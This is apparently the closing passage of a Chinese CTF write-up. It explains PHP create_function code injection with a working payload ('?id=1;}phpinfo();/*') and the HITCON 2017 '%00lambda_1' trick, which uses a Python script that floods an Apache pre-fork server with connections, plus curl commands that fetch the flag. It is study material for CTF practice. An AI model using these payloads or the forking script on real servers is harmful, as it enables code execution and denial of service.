10
11
12
13
14
<?php
$a=$_GET['id'];
$b='echo'.$a.";";
$f=create_function('$a',$b); /* 参数 '$a' $b 函数体
$f($a);
?>
这个匿名函数相当于这样的创建函数过程:

function niming($a){
echo $id.'is'.$a;
}

payload:?id=1;}phpinfo();/*
可以看到phpinfo的信息;

回到这道题,了解一下本题代码中的几个函数

bin2hex() 函数把 ASCII 字符的字符串转换为十六进制值。

openssl_random_pseudo_bytes 函数根据参数来生成指定个数的随机字节。

die() 函数输出一条消息,并退出当前脚本。

这道题用到的知识点是: 匿名函数的名字和apache的Pre-fork模式

Apache的默认模式Pre-fork会随着请求数量的增加而启动若干新的进程 。

create_function创建的是匿名函数,而匿名函数也是有名字的,名字是\x00lambda_%d,其中%d代表他是当前进程中的第几个匿名函数。%d会从1一直进行递增,表示这是当前进程中第几个匿名函数。因此如果开启一个新的php进程,那么这个匿名函数就是\x00lambda_1,所以思路就是通过向Pre-fork模式的apache服务器发送大量请求,致使apache开启新的进程来处理请求,那么传递func_name=%00lambda_1就可以执行函数了。

经过了解以上知识,我写了一个超级简单无脑的python脚本跑了一下就跑出来了flag,就是一直传递func_name=%00lambda_1参数向服务器发起请求,然后直到服务器启动了新的进程这个请求就可以获取flag了。

把url改一下就可以了。这道题改编自HITCON2017的一道web题,只考察了后半部分的知识点,原题orange师傅给出的官方writeup中的poc如下:

fork.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass
def run(i):
while 1:
HOST = 'x.x.x.x'
PORT = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET / HTTP/1.1\nHost:web.suctf.asuri.org:81\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)
i = 8
pool = ThreadPool( i )
result = pool.map_async( run,range(i) ).get(0xffff)

我在本地也复现了一下

步骤如下:

1
2
3
4
5
6
7
8
9
exp:
# get a cookie
$ curl 'http://host/' --cookie-jar cookie

# force apache to fork new process
$ python fork.py

# get flag
$ curl -b cookie "http://host:port/?func_name=%00lambda_1"

总结

终于,经过三天做题两天整理,自己好像摸到了些ctf的门槛,虽然还很菜,关于ctf的下一步可能先去学学隐写术再来刷题。

这些天来学到了很多以前没想过的姿势,也回顾了许多忘了差不多的常见漏洞绕过姿势,都做完之后真的成就感爆棚。

希望能给看这篇文章的你带去一些帮助,要是师傅们发现疏漏了还请快指正我!

教室有些嘈杂,那些嘈杂此时入耳,仿佛成了我心中的白月光。

Reference

南邮CTF-WEB-writeup

SUCTF web题目 writeup

HITCON2017-writeup整理

hitcon-ctf-2017 orange官方writeup